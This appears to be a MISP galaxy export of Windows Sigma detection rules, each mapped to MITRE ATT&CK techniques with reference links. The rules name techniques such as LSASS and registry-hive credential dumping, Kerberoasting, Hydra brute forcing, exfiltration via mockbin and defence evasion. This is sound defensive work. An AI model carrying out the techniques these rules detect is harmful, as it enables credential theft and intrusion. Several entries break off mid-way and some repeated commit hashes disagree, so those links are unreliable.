https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f1f6c72b7d3742bdfc365fee2a9/atomics/T1546.007/T1546.007.md

https://github.com/outflanknl/NetshHelperBeacon
File With Suspicious Extension Downloaded Via Bitsadmin

Detects usage of bitsadmin downloading a file with a suspicious extension

The tag is: *misp-galaxy:sigma-rules*="File With Suspicious Extension Downloaded Via Bitsadmin"

View relationships graph

File With Suspicious Extension Downloaded Via Bitsadmin has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy:mitre-attack-pattern*="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 9724. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/">https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/</a></td>
</tr>
<tr>
<td><a href="https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin">https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/22264">https://isc.sans.edu/diary/22264</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_extensions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_extensions.yml</a></td>
</tr>
</tbody>
</table>

Potential Adplus.EXE Abuse

Detects execution of "AdPlus.exe", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands.

The tag is: *misp-galaxy:sigma-rules*="Potential Adplus.EXE Abuse"

View relationships graph

Potential Adplus.EXE Abuse has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 9725. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Conhost Spawned By Uncommon Parent Process**

Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity.

The tag is: `misp-galaxy:sigma-rules="Conhost Spawned By Uncommon Parent Process"`

**View relationships graph**

Conhost Spawned By Uncommon Parent Process has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"

**Table 9726. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Potential SPN Enumeration Via Setspn.EXE**

Detects service principal name (SPN) enumeration used for Kerberoasting

The tag is: `misp-galaxy:sigma-rules="Potential SPN Enumeration Via Setspn.EXE"`

**View relationships graph**

Potential SPN Enumeration Via Setspn.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003"` with estimative-language:likelihood-probability="almost-certain"

**Table 9727. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Execution Of Non-Existing File

Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)

The tag is: misp-galaxy:sigma-rules="Execution Of Non-Existing File"

Table 9728. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestlaboratories.com/2021/12/08/process-ghosting/">https://pentestlaboratories.com/2021/12/08/process-ghosting/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Processes Spawned by WinRM

Detects suspicious processes including shells spawnd from WinRM host process

The tag is: misp-galaxy:sigma-rules="Suspicious Processes Spawned by WinRM"

View relationships graph

Suspicious Processes Spawned by WinRM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 9729. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>

New User Created Via Net.EXE With Never Expire Option

Detects creation of local users via the net.exe command with the option "never expire"

The tag is: misp-galaxy:sigma-rules="New User Created Via Net.EXE With Never Expire Option"

View relationships graph
New User Created Via Net.EXE With Never Expire Option has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 9730. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/">https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Cabinet File Execution Via Msdt.EXE**

Detects execution of msdt.exe using the "cab" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190

The tag is: misp-galaxy:sigma-rules="Suspicious Cabinet File Execution Via Msdt.EXE"

View relationships graph

Suspicious Cabinet File Execution Via Msdt.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 9731. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd">https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1537896324837781506">https://twitter.com/nas_bench/status/1537896324837781506</a></td>
</tr>
<tr>
<td><a href="https://github.com/elastic/protections-artifacts/commit/7406b53a54a5f75e9b53b1c8f7978fb12f96c6d8c37f92d97e039647cada1788db4aa95f#diff-9015912909545e72ed42c8ac4d1e96295e8964579c406d23fd9c47a8091576a0">https://github.com/elastic/protections-artifacts/commit/7406b53a54a5f75e9b53b1c8f7978fb12f96c6d8c37f92d97e039647cada1788db4aa95f#diff-9015912909545e72ed42c8ac4d1e96295e8964579c406d23fd9c47a8091576a0</a></td>
</tr>
<tr>
<td><a href="https://github.com/GossiTheDog/ThreatHunting/blob/e85884abb05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab">https://github.com/GossiTheDog/ThreatHunting/blob/e85884abb05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml</a></td>
</tr>
</tbody>
</table>

**Potentially Suspicious Electron Application CommandLine**

Detects potentially suspicious CommandLine of electron apps (teams, discord, slack, etc.). This could be a sign of abuse to proxy execution through a signed binary.

The tag is: misp-galaxy:sigma-rules="Potentially Suspicious Electron Application CommandLine"
HackTool - Hydra Password Bruteforce Execution

Detects command line parameters used by Hydra password guessing hack tool

The tag is: *misp-galaxy:sigma-rules="HackTool - Hydra Password Bruteforce Execution"*

View relationships graph

HackTool - Hydra Password Bruteforce Execution has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"

Potential Configuration And Service Reconnaissance Via Reg.EXE

Detects the usage of "reg.exe" in order to query reconnaissance information from the registry. Adversaries may interact with the Windows registry to gather information about credentials, the system, configuration, and installed software.

The tag is: *misp-galaxy:sigma-rules="Potential Configuration And Service Reconnaissance Via Reg.EXE"*
Potential Configuration And Service Reconnaissance Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Remote XSL Execution Via Msxsl.EXE

Detects the execution of the "msxsl" binary with an "http" keyword in the command line. This might indicate a potential remote execution of XSL files.

The tag is: misp-galaxy:sigma-rules="Remote XSL Execution Via Msxsl.EXE"

Remote XSL Execution Via Msxsl.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"

Suspicious Program Names

Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools

The tag is: misp-galaxy:sigma-rules="Suspicious Program Names"
Suspicious Program Names has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 9736. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - Dumpert Process Dumper Execution**

Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory

The tag is: misp-galaxy:sigma-rules="HackTool - Dumpert Process Dumper Execution"

View relationships graph

HackTool - Dumpert Process Dumper Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 9737. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/">https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/</a></td>
</tr>
<tr>
<td><a href="https://github.com/outflanknl/Dumpert">https://github.com/outflanknl/Dumpert</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dumpert.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dumpert.yml</a></td>
</tr>
</tbody>
</table>

**HTML Help HH.EXE Suspicious Child Process**

Detects a suspicious child process of a Microsoft HTML Help (HH.exe)

The tag is: misp-galaxy:sigma-rules="HTML Help HH.EXE Suspicious Child Process"

View relationships graph

HTML Help HH.EXE Suspicious Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
Table 9738. Table References

Links

https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aae95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7


https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml

**Security Privileges Enumeration Via Whoami.EXE**

Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.

The tag is: **misp-galaxy:sigma-rules=“Security Privileges Enumeration Via Whoami.EXE”**

View relationships graph

Security Privileges Enumeration Via Whoami.EXE has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 9739. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Reg Add Open Command**

Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key

The tag is: misp-galaxy:sigma-rules="Suspicious Reg Add Open Command"

**View relationships graph**

Suspicious Reg Add Open Command has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 9740. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2021/12/13/diavol-ransomware/">https://thedfirreport.com/2021/12/13/diavol-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_open_command.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_open_command.yml</a></td>
</tr>
</tbody>
</table>

**Time Travel Debugging Utility Usage**

Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.

The tag is: misp-galaxy:sigma-rules="Time Travel Debugging Utility Usage"

**View relationships graph**

Time Travel Debugging Utility Usage has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 9741. Table References
Link

https://twitter.com/oulusoyum/status/1191329746069655553  
https://lolbas-project.github.io/lolbas/Binaries/Tttracer/  
https://twitter.com/mattifestation/status/1196390321783025666  
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttttracer_mod_load.yml

**Esentutl Steals Browser Information**

One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe.

The tag is: `misp-galaxy:sigma-rules="Esentutl Steals Browser Information"`

View relationships graph

Esentutl Steals Browser Information has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"

**Table 9742. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/">https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/">https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

**HackTool - CrackMapExec Execution**

This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.

The tag is: `misp-galaxy:sigma-rules="HackTool - CrackMapExec Execution"`

View relationships graph

HackTool - CrackMapExec Execution has relationships with:

Change PowerShell Policies to an Insecure Level

Detects use of executionpolicy option to set insecure policies

The tag is: misp-galaxy:sigma-rules="Change PowerShell Policies to an Insecure Level"

View relationships graph

Change PowerShell Policies to an Insecure Level has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9744. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=2604">https://adsecurity.org/?p=2604</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1">https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_powershell_set_policies_to_unsecure_level.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_powershell_set_policies_to_unsecure_level.yml</a></td>
</tr>
</tbody>
</table>
DumpStack.log Defender Evasion

Detects the use of the filename DumpStack.log to evade Microsoft Defender

The tag is: _misp-galaxy:sigma-rules="DumpStack.log Defender Evasion"

Table 9745. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1479094189048713219">https://twitter.com/mrd0x/status/1479094189048713219</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dumpstack_log_evasion.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dumpstack_log_evasion.yml</a></td>
</tr>
</tbody>
</table>

Files Added To An Archive Using Rar.EXE

Detects usage of “rar” to add files to an archive for potential compression. An adversary may compress data (e.g. sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

The tag is: _misp-galaxy:sigma-rules="Files Added To An Archive Using Rar.EXE"

View relationships graph

Files Added To An Archive Using Rar.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 9746. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d0f6057fdcfdd3742bdf365fee2a9/atomics/T1560.001/T1560.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d0f6057fdcfdd3742bdf365fee2a9/atomics/T1560.001/T1560.001.md</a></td>
</tr>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html">https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compress_data.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compress_data.yml</a></td>
</tr>
</tbody>
</table>

Rundll32 Execution Without Parameters

Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module

The tag is: _misp-galaxy:sigma-rules="Rundll32 Execution Without Parameters"

View relationships graph

Rundll32 Execution Without Parameters has relationships with:
Potential Register_App.Vbs LOLScript Abuse

Detects potential abuse of the "register_app.vbs" script that is part of the Windows SDK. The script offers the capability to register new VSS/VDS Provider as a COM+ application. Attackers can use this to install malicious DLLs for persistence and execution.

The tag is: `misp-galaxy:sigma-rules="Potential Register_App.Vbs LOLScript Abuse"`

View relationships graph

Potential Register_App.Vbs LOLScript Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

AddinUtil.EXE Execution From Uncommon Directory

Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) from a non-standard directory.

The tag is: `misp-galaxy:sigma-rules="AddinUtil.EXE Execution From Uncommon Directory"`

View relationships graph
AddinUtil.EXE Execution From Uncommon Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9749. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html">https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_dir_exec.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_dir_exec.yml</a></td>
</tr>
</tbody>
</table>

**Command Line Execution with Suspicious URL and AppData Strings**

Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)

The tag is: *misp-galaxy:sigma-rules="Command Line Execution with Suspicious URL and AppData Strings"*

View relationships graph

Command Line Execution with Suspicious URL and AppData Strings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 9750. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaa543adfc07368ba646b499fa5274b9edf6?environmentId=100">https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaa543adfc07368ba646b499fa5274b9edf6?environmentId=100</a></td>
</tr>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100">https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_http_appdata.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_http_appdata.yml</a></td>
</tr>
</tbody>
</table>
PUA - DIT Snapshot Viewer

Detects the use of Ditsnap tool, an inspection tool for Active Directory database, ntds.dit.

The tag is: misp-galaxy:sigma-rules="PUA - DIT Snapshot Viewer"

View relationships graph

PUA - DIT Snapshot Viewer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 9751. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2020/06/21/snatch-ransomware/">https://thedfirreport.com/2020/06/21/snatch-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ditsnap.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ditsnap.yml</a></td>
</tr>
</tbody>
</table>

MMC20 Lateral Movement

Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of "-Embedding" as a child of svchost.exe

The tag is: misp-galaxy:sigma-rules="MMC20 Lateral Movement"

View relationships graph

MMC20 Lateral Movement has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 9752. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing">https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/">https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement.yml</a></td>
</tr>
</tbody>
</table>

File Decryption Using Gpg4win

Detects usage of Gpg4win to decrypt files

The tag is: misp-galaxy:sigma-rules="File Decryption Using Gpg4win"
Renamed PsExec Service Execution

Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators

The tag is: `misp-galaxy:sigma-rules="Renamed PsExec Service Execution"`

Operator Bloopers Cobalt Strike Commands

Detects use of Cobalt Strike commands accidentally entered in the CMD shell

The tag is: `misp-galaxy:sigma-rules="Operator Bloopers Cobalt Strike Commands"`
Audit Policy Tampering Via Auditpol

Threat actors can use auditpol binary to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.

The tag is: **misp-galaxy:sigma-rules=“Audit Policy Tampering Via Auditpol”**

View relationships graph

Audit Policy Tampering Via Auditpol has relationships with:


Table 9756. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_auditpol_susp_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_auditpol_susp_execution.yml</a></td>
</tr>
</tbody>
</table>

Chromium Browser Headless Execution To Mockbin Like Site

Detects the execution of a Chromium based browser process with the "headless" flag and a URL pointing to the mockbin.org service (which can be used to exfiltrate data).

The tag is: **misp-galaxy:sigma-rules=“Chromium Browser Headless Execution To Mockbin Like Site”**

Table 9757. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/steal-it-campaign">https://www.zscaler.com/blogs/security-research/steal-it-campaign</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_mockbin_abuse.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_mockbin_abuse.yml</a></td>
</tr>
</tbody>
</table>

Potential Commandline Obfuscation Using Unicode Characters

Detects potential commandline obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise...
obfuscating its contents on the system or in transit.

The tag is: \textit{misp-galaxy:sigma-rules="Potential Commandline Obfuscation Using Unicode Characters"}

**View relationships graph**

Potential Commandline Obfuscation Using Unicode Characters has relationships with:

- related-to: \textit{misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"} with estimative-language:likelihood-probability="almost-certain"

**Table 9758. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation">https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode.yml</a></td>
</tr>
</tbody>
</table>

**Powershell Token Obfuscation - Process Creation**

Detects \textit{TOKEN OBFUSCATION} technique from \textit{Invoke-Obfuscation}

The tag is: \textit{misp-galaxy:sigma-rules="Powershell Token Obfuscation - Process Creation"}

**View relationships graph**

Powershell Token Obfuscation - Process Creation has relationships with:

- related-to: \textit{misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009"} with estimative-language:likelihood-probability="almost-certain"

**Table 9759. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/danielbohannon/Invoke-Obfuscation">https://github.com/danielbohannon/Invoke-Obfuscation</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_token_obfuscation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_token_obfuscation.yml</a></td>
</tr>
</tbody>
</table>

**PUA - Radmin Viewer Utility Execution**

Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines

The tag is: \textit{misp-galaxy:sigma-rules="PUA - Radmin Viewer Utility Execution"}

**View relationships graph**
PUA - Radmin Viewer Utility Execution has relationships with:


Table 9760. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.radmin.fr/">https://www.radmin.fr/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffddd3742bfef365fee2a9/atomics/T1072/T1072.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffddd3742bfef365fee2a9/atomics/T1072/T1072.md</a></td>
</tr>
</tbody>
</table>

**Windows Firewall Disabled via PowerShell**

Detects attempts to disable the Windows Firewall using PowerShell

The tag is: *misp-galaxy: sigma-rules="Windows Firewall Disabled via PowerShell"*

View relationships graph

Windows Firewall Disabled via PowerShell has relationships with:

